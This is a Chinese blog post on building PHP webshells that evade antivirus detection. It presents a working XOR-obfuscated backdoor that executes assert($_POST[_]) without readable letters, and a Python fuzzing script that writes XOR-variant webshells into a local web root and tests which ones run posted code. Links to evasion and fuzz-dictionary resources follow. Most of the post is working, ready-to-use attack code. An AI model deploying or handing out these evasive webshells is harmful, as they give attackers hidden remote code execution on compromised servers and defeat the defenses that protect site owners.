• python开发(3)-PHP异或免杀


    关于eval函数在php给出的官方说明是

    eval 是一个语言构造器而不是一个函数,不能被 可变函数 调用
    可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一个函数,从而当做函数来执行
    通俗的说比如你 <?php $a=eval;$a() ?> 这样是不行的 也造就了用eval的话达不到assert的灵活,但是在php7.1以上assert已经不行

    利用异或运算免杀(无字符后门)

    <?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');  //$_='assert';
    $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); //$__='_POST';
    $___=$$__;$_($___[_]); //assert($_POST[_]);
    ?>

    利用代码生成可行的异或运算出来的免杀后门

    import requests
    import time
    
    def string():
        for i in range(1,127):
            for ii in range(1,127):
                payload="'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"
                code="<?php $a=("+payload+").'ssert';$a($_POST[x]);?>"
                filename=str(i)+'xd'+str(ii)+'.php'
                with open('D:/phpstudy/PHPTutorial/WWW/x/'+filename,'a') as f:
                    f.write(code)
                    print('Fuzz->'+filename+'文件写入成功')
                    f.close()
                url = 'http://127.0.0.1:8081/x/' + filename
                datas = {
                    'x': 'phpinfo();'
                }
                result = requests.post(url, data=datas).content.decode('utf-8')
                if 'XIAODI-PC' in result:
                    print('check->'+filename+'->ok')
                else:
                    print('check->'+filename+'->no')
                time.sleep(1)
    
    
    def shell_test_check():
        url='http://127.0.0.1:8081/x/33xd64.php'
        datas={
            'x':'phpinfo();'
        }
        result=requests.post(url,data=datas).content.decode('utf-8')
        print(result)
        if 'XIAODI-PC' in result:
            print('ok')
    
    if __name__ == '__main__':
        string()

    php 免杀参考:https://www.cnblogs.com/liujizhou/p/11806497.html 

    fuzz字典合集:https://github.com/stemmm/fuzzDicts

  • 相关阅读:
    FJUT3565 最大公约数之和(容斥)题解
    FJUT3568 中二病也要敲代码(线段树维护区间连续最值)题解
    BZOJ 2252 矩阵距离
    BZOJ 1047 理想的正方形
    BZOJ 1486 最小圈
    BZOJ 2083 Intelligence test
    BZOJ 1045 糖果传递
    BZOJ 3450 Easy
    BZOJ 4318 OSU!
    BZOJ 1954 The xor-longest Path
  • 原文地址:https://www.cnblogs.com/trevain/p/14192658.html
Copyright © 2020-2023  润新知